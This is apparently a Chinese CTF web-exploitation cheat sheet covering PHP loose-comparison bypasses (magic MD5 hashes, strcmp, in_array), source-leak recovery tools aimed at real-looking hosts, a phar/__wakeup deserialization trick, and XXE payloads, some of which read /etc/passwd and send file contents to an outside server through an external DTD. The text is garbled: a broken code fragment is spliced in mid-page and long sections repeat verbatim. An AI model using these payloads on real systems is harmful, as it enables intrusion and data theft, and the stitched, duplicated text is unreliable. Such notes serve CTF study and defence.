比如在 $a == $b 的比较中

1
2
3
4
$a = null; 
$b = false; //为真 
$a = ''; 
$b = 0; //同样为真

然而,PHP 内核的开发者原本是想让程序员借由这种不需要声明的体系,更加高效的开发,所以在几乎所有内置函数以及基本结构中使用了很多松散的比较和转换,防止程序中的变量因为程序员的不规范而频繁的报错,然而这却带来了安全问题。

1
2
3
4
0=='0' //true
0 == 'abcdefg' //true
0 === 'abcdefg' //false
1 == '1abcdef' //true

魔法 Hash(sample:web7-掘安杯2019)

1
2
3
4
5
6
7
"0e132456789"=="0e7124511451155" //true,必须全为0-9数字
"0e123456abc"=="0e1dddada" //false
"0e1abc"=="0"  //true
md5('240610708') = 0e462097431906509019562988736854
md5('QNKCDZO') = 0e830400451993494058024219903391
md5('s214587387a') = 0e848240448830537924465865611904
md5('0e215962017') = 0e291242476940776845150308577824

在进行==弱比较运算时,如果遇到了 0e\d+ 这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中 2 个数的值都是 0 因而就相等了。

如果是===强比较,则需要:

  • 通过md5(array)=null来绕过
  • 通过fastcoll构造相同md5值的不同输入,再通过url编码之后发送

十六进制转换

1
2
3
"0x1e240"=="123456" //true
"0x1e240"==123456 //true
"0x1e240"=="1e240" //false

当其中的一个字符串是 0x 开头的时候,PHP 会将此字符串解析成为十进制然后再进行比较,0x1240 解析成为十进制就是 123456,所以与 int 类型和 string 类型的 123456 比较都是相等。

类型转换

常见的转换主要就是 int 转换为 stringstring 转换为 int

intstring

1
2
3
$var = 5;
方式1:$item = (string)$var;
方式2:$item = strval($var);

stringintintval() 函数。

对于这个函数,可以先看 2 个例子。

1
2
3
var_dump(intval('2')) //2
var_dump(intval('3abcd')) //3
var_dump(intval('abcd')) //0

说明 intval() 转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串, intval() 不会报错而是返回 0。

同时,程序员在编程的时候也不应该使用如下的这段代码:

1
2
3
if(intval($a)>1000) {
 mysql_query("select * from news where id=".$a)
}

这个时候 $a 的值有可能是 1002 union

内置函数的参数的松散性

内置函数的松散性说的是,调用函数时给函数传递函数无法接受的参数类型。解释起来有点拗口,还是直接通过实际的例子来说明问题,下面会重点介绍几个这种函数。

md5()

1
2
3
4
5
6
$array1[] = array(
 "foo" => "bar",
 "bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==var_dump($array2)); //true

string md5 ( string $str [, bool $raw_output = false ] )md5() 中的需要是一个 string 类型的参数。但是当你传递一个 array 时,md5() 不会报错,只是会无法正确地求出 array 的 md5 值,返回NULL,这样就会导致任意 2 个 array 的 md5 值都会相等。

strpos()

int strpos(string $haystack , mixed $needle [, int $offset = 0 ]),返回needle存在于haystack字符串起始的位置(独立于 offset)。注意字符串位置是从0开始,而不是从1开始的。如果没找到 needle,将返回FALSEhaystack传入数组时,版本5.3以前会触发一个 Notice 级的Array to string conversion,返回FALSE,版本5.3以后会触发一个type mismatch的warning,返回NULL

strcmp()

strcmp() 函数在 PHP 官方手册中的描述是 intstrcmp ( string $str1 , string $str2 ),需要给 strcmp() 传递 2 个 string 类型的参数。如果 str1 小于 str2,返回 -1,相等返回 0,否则返回 1。strcmp() 函数比较字符串的本质是将两个变量转换为 ASCII,然后进行减法运算,然后根据运算结果来决定返回值。

如果传入给出 strcmp() 的参数是数字呢?

1
2
$a = array(1,2,3);
var_dump(strcmp('Array',$a)); //int(0),表示数组参加strcmp默认转换为'Array'

preg_match()

preg_match(string $pattern, string $subject)返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE当匹配超过1000000字符时会崩溃,返回0。(sample:php-plus-ichunqiu圣诞欢乐赛-2018)。

1
2
3
4
$a = array(1,2,3);
var_dump(preg_match('/string/is',$a)); //bool(false)
$a = "Merry Christmas" . str_repeat("a",1000000);
var_dump(preg_match('/Merry.*Christmas/is',$a)); //int(0)

switch()

如果 switch() 是数字类型的 case 的判断时,switch 会将其中的参数转换为 int 类型。如下:

1
2
3
4
5
6
7
8
9
10
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
 echo "i is less than 3 but not negative";
 break;
case 3:
 echo "i is 3";
}

这个时候程序输出的是 i is less than 3 but not negative ,是由于 switch() 函数将 $i 进行了类型转换,转换结果为 2。

in_array()

在 PHP 手册中, in_array() 函数的解释是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) ,如果strict参数没有提供,那么in_array就会使用松散比较来判断 $needle 是否在 $haystack 中。当 strince 的值为 true 时, in_array() 会比较 needls 的类型和 haystack 中的类型是否相同。

1
2
3
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true

可以看到上面的情况返回的都是 true,因为 'abc' 会转换为 0, '1bc' 转换为 1。

array_search()in_array() 也是一样的问题。

寻找源代码备份

hg 源码泄露

hg init 时会产生 .hg 文件。

利用工具 dvcs-ripper

Git 源码泄露

.git 目录内有代码的变更记录等文件,如果部署时该目录下的文件可被访问,可能会被利用来恢复源代码。

1
2
3
4
5
/.git
/.git/HEAD
/.git/index
/.git/config
/.git/description

GitHack

1
python GitHack.py http://www.openssl.org/.git/

GitHacker(可恢复完整 Git 仓库),仅仅支持Linux

1
python GitHacker.py http://www.openssl.org/.git/

.DS_Store 文件泄露

Mac OS 中会包含有 .DS_Store 文件,包含文件名等信息。

利用工具 ds_store_exp

1
python ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store

网站备份文件

管理员备份网站文件后错误地将备份放在 Web 目录下。

常见的后缀名:

1
2
3
4
5
6
7
.rar
.zip
.7z
.tar
.tar.gz
.bak
.txt

SVN 泄露

敏感文件:

1
2
3
/.svn
/.svn/wc.db
/.svn/entries

dvcs-ripper

1
perl rip-svn.pl -v -u http://www.example.com/.svn/

Seay - SVN

WEB-INF / web.xml 泄露

WEB-INF 是 Java Web 应用的安全目录,web.xml 中有文件的映射关系。

WEB-INF 主要包含一下文件或目录:

  • /WEB-INF/web.xml :Web 应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
  • /WEB-INF/classes/ :含了站点所有用的 class 文件,包括 servlet class 和非 servlet class,他们不能包含在。jar 文件中。
  • /WEB-INF/lib/ :存放 web 应用需要的各种 JAR 文件,放置仅在这个应用中要求使用的 jar 文件,如数据库驱动 jar 文件。
  • /WEB-INF/src/ :源码目录,按照包名结构放置各个 java 文件。
  • /WEB-INF/database.properties :数据库配置文件。

通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,在通过反编译 class 文件,得到网站源码。 一般情况,jsp 引擎默认都是禁止访问 WEB-INF 目录的,Nginx 配合 Tomcat 做均衡负载或集群等情况时,问题原因其实很简单,Nginx 不会去考虑配置其他类型引擎(Nginx 不是 jsp 引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改 Nginx 配置文件禁止访问 WEB-INF 目录就好了:

1
location ~ ^/WEB-INF/* { deny all; } # 或者return 404; 或者其他!

CVS 泄露

1
2
http://url/CVS/Root 返回根信息
http://url/CVS/Entries 返回所有文件的结构

取回源码

1
bk clone http://url/name dir
';*/
//sample:hello_php,纵横杯-2020 $phar->setMetadata($o); //将自定义的meta-data以序列化方式存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 $phar->stopBuffering(); //签名自动计算 ?>

如果题目限制phar://不能出现在头几个字符,借助:compress.bzip2compress.zlib

compress.bzip2://phar:///home/sx/test.phar/test.txt

序列化字符串对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行(CVE-2016-7124)

序列化字符串对象属性个数的值大于真实的属性个数,会导致反序列化失败使得__wakeup无法被触发,但是随后会继续触发__destruct。漏洞影响版本:PHP5 < 5.6.25PHP7 < 7.0.10。(sample:DoYouKnowRobots-GXY-CTF-2019)

O:10:"TestObject":1:{s:5:"value";N;}

O代表Object(对应还有A对应Array),10代表对象名字10个字符,1代表对象1个属性(修改此值触发漏洞),s代表string(i代表int),5代表属性名长度,N代表NULL。

XXE(XML External Entity Injection)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!--read file-->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<foo>
<value>&passwd;</value>
</foo>
<!--local network access:http://gv7.me/articles/2018/think-about-blind-xxe-payload-->
file:///etc/hosts
file:///proc/net/arp //找内网
ENTITY xxe SYSTEM "http://192.168.1.8"
<!--read php-->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">]>
<root>
<name>&xxe;</name>
</root>
<!--read file through DTD, need to pre-set evil.dtd in vps-->
<!--METHOD1, read file-->
<!ENTITY b SYSTEM "file:///etc/passwd"> <!--evil.dtd-->
<!DOCTYPE a [<!ENTITY % f SYSTEM "http://vps/evil.dtd"> %f;]>
<a>&b;</a>
<!--METHOD2,list directory in Java ONLY! https://www.jianshu.com/p/ee03fcdce0cf,https://mp.weixin.qq.com/s/RieBYsDxKdP82gArn22aZw,https://xz.aliyun.com/t/3357-->
<!ENTITY % file SYSTEM "netdoc:../webapps/ctffffff/backups/">
<!ENTITY % test "<!ENTITY &#37; back SYSTEM 'http://xxxx.xxxx.xxx:8000/?file=%file;'>"><!--evil.dtd-->
<!DOCTYPE ANY[
<!ENTITY % send SYSTEM 'http://120.79.152.66:8000/evil.dtd'>
%send;%test;%back;
]>

变量覆盖

全局变量覆盖

变量如果未被初始化,且能够用户所控制,那么很可能会导致安全问题。

1
register_globals=ON

示例

1
2
3
4
5
6
7
<?php
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";

if ($auth) {
  echo "private!";
}
?>

register_globals=ON 时,提交 test.php?auth=1auth 变量将自动得到赋值。

extract() 变量覆盖

extract() 函数能够将变量从数组导入到当前的符号表,其定义为

1
int extract ( array $var_array [, int $extract_type [, string $prefix ]] )

其中,第二个参数指定函数将变量导入符号表时的行为,最常见的两个值是 EXTR_OVERWRITEEXTR_SKIP

当值为 EXTR_OVERWRITE 时,在将变量导入符号表的过程中,如果变量名发生冲突,则覆盖所有变量;值为 EXTR_SKIP 则表示跳过不覆盖。若第二个参数未指定,则在默认情况下使用 EXTR_OVERWRITE

1
2
3
4
5
6
7
8
9
10
<?php
$auth = "0";
extract($_GET);

if ($auth == 1) {
  echo "private!";
} else {
  echo "public!";
}
?>

extract() 函数从用户可以控制的数组中导出变量时,可能发生变量覆盖。

import_request_variables 变量覆盖

1
bool import_request_variables (string $types [, string $prefix])

import_request_variables 将 GET、POST、Cookies 中的变量导入到全局,使用这个函数只用简单地指定类型即可。

1
2
3
4
5
6
7
8
9
10
<?php
$auth = "0";
import_request_variables("G");

if ($auth == 1) {
  echo "private!";
} else {
  echo "public!";
}
?>

import_request_variables("G") 指定导入 GET 请求中的变量,提交 test.php?auth=1 出现变量覆盖。

parse_str() 变量覆盖

1
void parse_str ( string $str [, array &$arr ]) //parse_str("name=Bill&age=60");

parse_str() 函数通常用于解析 URL 中的 querystring,但是当参数值可以被用户控制时,很可能导致变量覆盖。

1
2
3
4
// var.php?var=new  变量覆盖
$var = "init";
parse_str($_SERVER["QUERY_STRING"]);
print $var;

parse_str() 类似的函数还有 mb_parse_str()

输出当前进程变量/常量/模块/函数/类

1
2
3
4
5
6
array get_defined_vars ( void ) #(PHP 4 >= 4.0.4, PHP 5) — 获取由所有已定义变量所组成的数组
array get_defined_functions ( void ) #(PHP 4 >= 4.0.4, PHP 5) — 获取所有已经定义的函数
array get_defined_constants ([ bool $categorize = false ] ) #(PHP 4 >= 4.1.0, PHP 5) —  获取关联数组的名字所有的常量和它们的值
array get_loaded_extensions ( void ) #(PHP 4, PHP 5) — 获取所有可用的模块
array get_extension_funcs ( string $module_name ) #(PHP 4, PHP 5) — 获取指定模块的可用函数,传入的参数(模块名称)必须是小写
array get_declared_classes ( void ) #(PHP 4, PHP 5) —  获取由已定义类的名字所组成的数组

PHP 特性

数组

1
2
3
4
5
<?php
$var = 1;
$var = array();
$var = "string";
?>

php 不会严格检验传入的变量类型,也可以将变量自由的转换类型。

比如在 $a == $b 的比较中

1
2
3
4
$a = null; 
$b = false; //为真 
$a = ''; 
$b = 0; //同样为真

然而,PHP 内核的开发者原本是想让程序员借由这种不需要声明的体系,更加高效的开发,所以在几乎所有内置函数以及基本结构中使用了很多松散的比较和转换,防止程序中的变量因为程序员的不规范而频繁的报错,然而这却带来了安全问题。

1
2
3
4
0=='0' //true
0 == 'abcdefg' //true
0 === 'abcdefg' //false
1 == '1abcdef' //true

魔法 Hash(sample:web7-掘安杯2019)

1
2
3
4
5
6
7
"0e132456789"=="0e7124511451155" //true,必须全为0-9数字
"0e123456abc"=="0e1dddada" //false
"0e1abc"=="0"  //true
md5('240610708') = 0e462097431906509019562988736854
md5('QNKCDZO') = 0e830400451993494058024219903391
md5('s214587387a') = 0e848240448830537924465865611904
md5('0e215962017') = 0e291242476940776845150308577824

在进行==弱比较运算时,如果遇到了 0e\d+ 这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中 2 个数的值都是 0 因而就相等了。

如果是===强比较,则需要:

  • 通过md5(array)=null来绕过
  • 通过fastcoll构造相同md5值的不同输入,再通过url编码之后发送

十六进制转换

1
2
3
"0x1e240"=="123456" //true
"0x1e240"==123456 //true
"0x1e240"=="1e240" //false

当其中的一个字符串是 0x 开头的时候,PHP 会将此字符串解析成为十进制然后再进行比较,0x1240 解析成为十进制就是 123456,所以与 int 类型和 string 类型的 123456 比较都是相等。

类型转换

常见的转换主要就是 int 转换为 stringstring 转换为 int

intstring

1
2
3
$var = 5;
方式1:$item = (string)$var;
方式2:$item = strval($var);

stringintintval() 函数。

对于这个函数,可以先看 2 个例子。

1
2
3
var_dump(intval('2')) //2
var_dump(intval('3abcd')) //3
var_dump(intval('abcd')) //0

说明 intval() 转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串, intval() 不会报错而是返回 0。

同时,程序员在编程的时候也不应该使用如下的这段代码:

1
2
3
if(intval($a)>1000) {
 mysql_query("select * from news where id=".$a)
}

这个时候 $a 的值有可能是 1002 union

内置函数的参数的松散性

内置函数的松散性说的是,调用函数时给函数传递函数无法接受的参数类型。解释起来有点拗口,还是直接通过实际的例子来说明问题,下面会重点介绍几个这种函数。

md5()

1
2
3
4
5
6
$array1[] = array(
 "foo" => "bar",
 "bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==var_dump($array2)); //true

string md5 ( string $str [, bool $raw_output = false ] )md5() 中的需要是一个 string 类型的参数。但是当你传递一个 array 时,md5() 不会报错,只是会无法正确地求出 array 的 md5 值,返回NULL,这样就会导致任意 2 个 array 的 md5 值都会相等。

strpos()

int strpos(string $haystack , mixed $needle [, int $offset = 0 ]),返回needle存在于haystack字符串起始的位置(独立于 offset)。注意字符串位置是从0开始,而不是从1开始的。如果没找到 needle,将返回FALSEhaystack传入数组时,版本5.3以前会触发一个 Notice 级的Array to string conversion,返回FALSE,版本5.3以后会触发一个type mismatch的warning,返回NULL

strcmp()

strcmp() 函数在 PHP 官方手册中的描述是 intstrcmp ( string $str1 , string $str2 ),需要给 strcmp() 传递 2 个 string 类型的参数。如果 str1 小于 str2,返回 -1,相等返回 0,否则返回 1。strcmp() 函数比较字符串的本质是将两个变量转换为 ASCII,然后进行减法运算,然后根据运算结果来决定返回值。

如果传入给出 strcmp() 的参数是数字呢?

1
2
$a = array(1,2,3);
var_dump(strcmp('Array',$a)); //int(0),表示数组参加strcmp默认转换为'Array'

preg_match()

preg_match(string $pattern, string $subject)返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE当匹配超过1000000字符时会崩溃,返回0。(sample:php-plus-ichunqiu圣诞欢乐赛-2018)。

1
2
3
4
$a = array(1,2,3);
var_dump(preg_match('/string/is',$a)); //bool(false)
$a = "Merry Christmas" . str_repeat("a",1000000);
var_dump(preg_match('/Merry.*Christmas/is',$a)); //int(0)

switch()

如果 switch() 是数字类型的 case 的判断时,switch 会将其中的参数转换为 int 类型。如下:

1
2
3
4
5
6
7
8
9
10
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
 echo "i is less than 3 but not negative";
 break;
case 3:
 echo "i is 3";
}

这个时候程序输出的是 i is less than 3 but not negative ,是由于 switch() 函数将 $i 进行了类型转换,转换结果为 2。

in_array()

在 PHP 手册中, in_array() 函数的解释是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) ,如果strict参数没有提供,那么in_array就会使用松散比较来判断 $needle 是否在 $haystack 中。当 strince 的值为 true 时, in_array() 会比较 needls 的类型和 haystack 中的类型是否相同。

1
2
3
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true

可以看到上面的情况返回的都是 true,因为 'abc' 会转换为 0, '1bc' 转换为 1。

array_search()in_array() 也是一样的问题。

寻找源代码备份

hg 源码泄露

hg init 时会产生 .hg 文件。

利用工具 dvcs-ripper

Git 源码泄露

.git 目录内有代码的变更记录等文件,如果部署时该目录下的文件可被访问,可能会被利用来恢复源代码。

1
2
3
4
5
/.git
/.git/HEAD
/.git/index
/.git/config
/.git/description

GitHack

1
python GitHack.py http://www.openssl.org/.git/

GitHacker(可恢复完整 Git 仓库),仅仅支持Linux

1
python GitHacker.py http://www.openssl.org/.git/

.DS_Store 文件泄露

Mac OS 中会包含有 .DS_Store 文件,包含文件名等信息。

利用工具 ds_store_exp

1
python ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store

网站备份文件

管理员备份网站文件后错误地将备份放在 Web 目录下。

常见的后缀名:

1
2
3
4
5
6
7
.rar
.zip
.7z
.tar
.tar.gz
.bak
.txt

SVN 泄露

敏感文件:

1
2
3
/.svn
/.svn/wc.db
/.svn/entries

dvcs-ripper

1
perl rip-svn.pl -v -u http://www.example.com/.svn/

Seay - SVN

WEB-INF / web.xml 泄露

WEB-INF 是 Java Web 应用的安全目录,web.xml 中有文件的映射关系。

WEB-INF 主要包含一下文件或目录:

  • /WEB-INF/web.xml :Web 应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
  • /WEB-INF/classes/ :含了站点所有用的 class 文件,包括 servlet class 和非 servlet class,他们不能包含在。jar 文件中。
  • /WEB-INF/lib/ :存放 web 应用需要的各种 JAR 文件,放置仅在这个应用中要求使用的 jar 文件,如数据库驱动 jar 文件。
  • /WEB-INF/src/ :源码目录,按照包名结构放置各个 java 文件。
  • /WEB-INF/database.properties :数据库配置文件。

通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,在通过反编译 class 文件,得到网站源码。 一般情况,jsp 引擎默认都是禁止访问 WEB-INF 目录的,Nginx 配合 Tomcat 做均衡负载或集群等情况时,问题原因其实很简单,Nginx 不会去考虑配置其他类型引擎(Nginx 不是 jsp 引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改 Nginx 配置文件禁止访问 WEB-INF 目录就好了:

1
location ~ ^/WEB-INF/* { deny all; } # 或者return 404; 或者其他!

CVS 泄露

1
2
http://url/CVS/Root 返回根信息
http://url/CVS/Entries 返回所有文件的结构

取回源码

1
bk clone http://url/name dir